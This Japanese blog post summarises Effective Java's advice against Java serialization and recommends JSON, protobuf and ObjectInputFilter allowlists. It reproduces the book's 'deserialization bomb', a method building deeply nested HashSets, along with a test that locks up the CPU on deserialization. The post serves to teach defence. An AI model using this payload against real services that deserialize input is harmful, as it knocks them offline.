Yabu.log

ITなどの雑記

Effective Java Item 85: Prefer alternatives to Java serialization

Effective Java 3rdに書かれているserializationの欠陥について

  • 一部で心配されていたJavaのserializationの安全性が深刻なことがわかった。
  • ObjectInputStreamのreadObjectを使っている場合、どの型でもdeserilizeできてしまう。

Apache Commons Collectionsなどのgadget chain

deserialization bomb

  • hashsetのdeserialization時にはhashcodeが実行されることを利用してDOS攻撃的ができる
  • 二分木のような感じで2つのhashsetを入れ子にしたhashsetを100段の深さでつくりserializeしたバイナリをdeserializeさせる
    • hashcodeが2100回実行されてサーバーに負荷がかかる
 static Set bomb() {
        Set<Object> root = new HashSet<>();
        Set<Object> s1 = root;
        Set<Object> s2 = new HashSet<>();
        for (int i = 0; i < 100; i++) {
            Set<Object> t1 = new HashSet<>();
            Set<Object> t2 = new HashSet<>();
            t1.add("foo"); // Make t1 unequal to t2
            s1.add(t1);
            s1.add(t2);
            s2.add(t1);
            s2.add(t2);
            s1 = t1;
            s2 = t2;
        }
        return root;
    }
    @Test
    void test() {
        try {
            Set nestedSet= Bomb.bomb();
            FileOutputStream fos = new FileOutputStream("tempdata.ser");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(nestedSet);
            oos.close();
        } catch (Exception ex) {
            fail("Exception thrown during test: " + ex.toString());
        }
        try {
            FileInputStream fis = new FileInputStream("tempdata.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
             Set bomb = (Set) ois.readObject();//この処理が終わらない
            ois.close();
            // Clean up the file
            new File("tempdata.ser").delete();
        } catch (Exception ex) {
            fail("Exception thrown during test: " + ex.toString());
        }

    }

本中のコードを参考に実験してみたが、serialize時(ディスク書き込み時)は一瞬で完了したが、 deserialize時(ディスク読み込み時)は処理が終わらなかった。(javaのcpu使用率が100%になった。)

JavaのSerializationは使うな?

“There is no reason to use Java serialization in any new system you write.”

代替

JSONはもともとJavaScript用に作られてprotobufはC++用に作られたもの。 protobufはバイナリデータなので普通の人は直接読めないため人が読めるようなpbtxtという形式も用意されている。

どうしてもSerializeしないといけない場合の処置

すでにSerialize機構を導入してしまっているレガシーコードで廃止が難しい場合、 java.io.ObjectInputFilterを使う。

Serializeを許す/許さないをブラックリストまたはホワイトリストを設定して運用する(ALLOWED/REJECTED) ブラックリストよりホワイトリストの方が望ましい。

ホワイトリストを作成するSerial Whitelist Application Trainer (SWAT) というツールもある。

ただし、ホワイトリストを作って運用しても上記のserialize bombの攻撃は防げない。

結論

  • 信頼性のないデータをdeserializeしない
  • 可能であればJavaのSerializeを避ける
  • JSONまたはprotobufを使う
  • どうしても必要な場合は慎重に実装する

参考

Effective Java (3rd Edition)

Effective Java (3rd Edition)

Effective Javaの内容とほぼ同内容

codezine.jp

www.ibm.com